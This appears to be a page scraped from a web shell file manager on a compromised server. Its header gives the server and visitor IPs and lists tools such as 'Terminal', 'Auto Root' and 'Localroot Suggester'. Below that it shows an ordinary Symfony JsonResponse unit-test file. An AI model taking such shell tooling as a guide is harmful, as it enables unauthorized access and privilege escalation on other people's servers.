Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.133.142.101
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
3 /
symfony /
http-foundation /
Tests /
Delete
Unzip
Name
Size
Permission
Date
Action
File
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
Fixtures
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
Session
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
schema
[ DIR ]
drwxr-xr-x
2018-11-26 09:00
AcceptHeaderItemTest.php
3.5
KB
-rw-r--r--
2018-11-26 09:00
AcceptHeaderTest.php
4.96
KB
-rw-r--r--
2018-11-26 09:00
ApacheRequestTest.php
2.69
KB
-rw-r--r--
2018-11-26 09:00
BinaryFileResponseTest.php
12.97
KB
-rw-r--r--
2018-11-26 09:00
CookieTest.php
8.82
KB
-rw-r--r--
2018-11-26 09:00
ExpressionRequestMatcherTest.php
2.52
KB
-rw-r--r--
2018-11-26 09:00
FileBagTest.php
4.98
KB
-rw-r--r--
2018-11-26 09:00
HeaderBagTest.php
7.45
KB
-rw-r--r--
2018-11-26 09:00
HeaderUtilsTest.php
6.43
KB
-rw-r--r--
2018-11-26 09:00
IpUtilsTest.php
3.71
KB
-rw-r--r--
2018-11-26 09:00
JsonResponseTest.php
8.41
KB
-rw-r--r--
2018-11-26 09:00
ParameterBagTest.php
7.25
KB
-rw-r--r--
2018-11-26 09:00
RedirectResponseTest.php
2.83
KB
-rw-r--r--
2018-11-26 09:00
RequestMatcherTest.php
5.19
KB
-rw-r--r--
2018-11-26 09:00
RequestStackTest.php
2.02
KB
-rw-r--r--
2018-11-26 09:00
RequestTest.php
94.83
KB
-rw-r--r--
2018-11-26 09:00
ResponseFunctionalTest.php
1.51
KB
-rw-r--r--
2018-11-26 09:00
ResponseHeaderBagTest.php
11.96
KB
-rw-r--r--
2018-11-26 09:00
ResponseTest.php
37.42
KB
-rw-r--r--
2018-11-26 09:00
ResponseTestCase.php
3.33
KB
-rw-r--r--
2018-11-26 09:00
ServerBagTest.php
5.56
KB
-rw-r--r--
2018-11-26 09:00
StreamedResponseTest.php
4.86
KB
-rw-r--r--
2018-11-26 09:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\HttpFoundation\JsonResponse; class JsonResponseTest extends TestCase { public function testConstructorEmptyCreatesJsonObject() { $response = new JsonResponse(); $this->assertSame('{}', $response->getContent()); } public function testConstructorWithArrayCreatesJsonArray() { $response = new JsonResponse(array(0, 1, 2, 3)); $this->assertSame('[0,1,2,3]', $response->getContent()); } public function testConstructorWithAssocArrayCreatesJsonObject() { $response = new JsonResponse(array('foo' => 'bar')); $this->assertSame('{"foo":"bar"}', $response->getContent()); } public function testConstructorWithSimpleTypes() { $response = new JsonResponse('foo'); $this->assertSame('"foo"', $response->getContent()); $response = new JsonResponse(0); $this->assertSame('0', $response->getContent()); $response = new JsonResponse(0.1); $this->assertSame('0.1', $response->getContent()); $response = new JsonResponse(true); $this->assertSame('true', $response->getContent()); } public function testConstructorWithCustomStatus() { $response = new JsonResponse(array(), 202); $this->assertSame(202, $response->getStatusCode()); } public function testConstructorAddsContentTypeHeader() { $response = new JsonResponse(); $this->assertSame('application/json', $response->headers->get('Content-Type')); } public function testConstructorWithCustomHeaders() { $response = new JsonResponse(array(), 200, array('ETag' => 'foo')); $this->assertSame('application/json', $response->headers->get('Content-Type')); $this->assertSame('foo', $response->headers->get('ETag')); } public function testConstructorWithCustomContentType() { $headers = array('Content-Type' => 'application/vnd.acme.blog-v1+json'); $response = new JsonResponse(array(), 200, $headers); $this->assertSame('application/vnd.acme.blog-v1+json', $response->headers->get('Content-Type')); } public function testSetJson() { $response = new JsonResponse('1', 200, array(), true); $this->assertEquals('1', $response->getContent()); $response = new JsonResponse('[1]', 200, array(), true); $this->assertEquals('[1]', $response->getContent()); $response = new JsonResponse(null, 200, array()); $response->setJson('true'); $this->assertEquals('true', $response->getContent()); } public function testCreate() { $response = JsonResponse::create(array('foo' => 'bar'), 204); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertEquals('{"foo":"bar"}', $response->getContent()); $this->assertEquals(204, $response->getStatusCode()); } public function testStaticCreateEmptyJsonObject() { $response = JsonResponse::create(); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertSame('{}', $response->getContent()); } public function testStaticCreateJsonArray() { $response = JsonResponse::create(array(0, 1, 2, 3)); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertSame('[0,1,2,3]', $response->getContent()); } public function testStaticCreateJsonObject() { $response = JsonResponse::create(array('foo' => 'bar')); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertSame('{"foo":"bar"}', $response->getContent()); } public function testStaticCreateWithSimpleTypes() { $response = JsonResponse::create('foo'); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertSame('"foo"', $response->getContent()); $response = JsonResponse::create(0); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertSame('0', $response->getContent()); $response = JsonResponse::create(0.1); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertSame('0.1', $response->getContent()); $response = JsonResponse::create(true); $this->assertInstanceOf('Symfony\Component\HttpFoundation\JsonResponse', $response); $this->assertSame('true', $response->getContent()); } public function testStaticCreateWithCustomStatus() { $response = JsonResponse::create(array(), 202); $this->assertSame(202, $response->getStatusCode()); } public function testStaticCreateAddsContentTypeHeader() { $response = JsonResponse::create(); $this->assertSame('application/json', $response->headers->get('Content-Type')); } public function testStaticCreateWithCustomHeaders() { $response = JsonResponse::create(array(), 200, array('ETag' => 'foo')); $this->assertSame('application/json', $response->headers->get('Content-Type')); $this->assertSame('foo', $response->headers->get('ETag')); } public function testStaticCreateWithCustomContentType() { $headers = array('Content-Type' => 'application/vnd.acme.blog-v1+json'); $response = JsonResponse::create(array(), 200, $headers); $this->assertSame('application/vnd.acme.blog-v1+json', $response->headers->get('Content-Type')); } public function testSetCallback() { $response = JsonResponse::create(array('foo' => 'bar'))->setCallback('callback'); $this->assertEquals('/**/callback({"foo":"bar"});', $response->getContent()); $this->assertEquals('text/javascript', $response->headers->get('Content-Type')); } public function testJsonEncodeFlags() { $response = new JsonResponse('<>\'&"'); $this->assertEquals('"\u003C\u003E\u0027\u0026\u0022"', $response->getContent()); } public function testGetEncodingOptions() { $response = new JsonResponse(); $this->assertEquals(JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT, $response->getEncodingOptions()); } public function testSetEncodingOptions() { $response = new JsonResponse(); $response->setData(array(array(1, 2, 3))); $this->assertEquals('[[1,2,3]]', $response->getContent()); $response->setEncodingOptions(JSON_FORCE_OBJECT); $this->assertEquals('{"0":{"0":1,"1":2,"2":3}}', $response->getContent()); } public function testItAcceptsJsonAsString() { $response = JsonResponse::fromJsonString('{"foo":"bar"}'); $this->assertSame('{"foo":"bar"}', $response->getContent()); } /** * @expectedException \InvalidArgumentException */ public function testSetCallbackInvalidIdentifier() { $response = new JsonResponse('foo'); $response->setCallback('+invalid'); } /** * @expectedException \InvalidArgumentException */ public function testSetContent() { JsonResponse::create("\xB1\x31"); } /** * @expectedException \Exception * @expectedExceptionMessage This error is expected */ public function testSetContentJsonSerializeError() { if (!interface_exists('JsonSerializable', false)) { $this->markTestSkipped('JsonSerializable is required.'); } $serializable = new JsonSerializableObject(); JsonResponse::create($serializable); } public function testSetComplexCallback() { $response = JsonResponse::create(array('foo' => 'bar')); $response->setCallback('ಠ_ಠ["foo"].bar[0]'); $this->assertEquals('/**/ಠ_ಠ["foo"].bar[0]({"foo":"bar"});', $response->getContent()); } } if (interface_exists('JsonSerializable', false)) { class JsonSerializableObject implements \JsonSerializable { public function jsonSerialize() { throw new \Exception('This error is expected'); } } }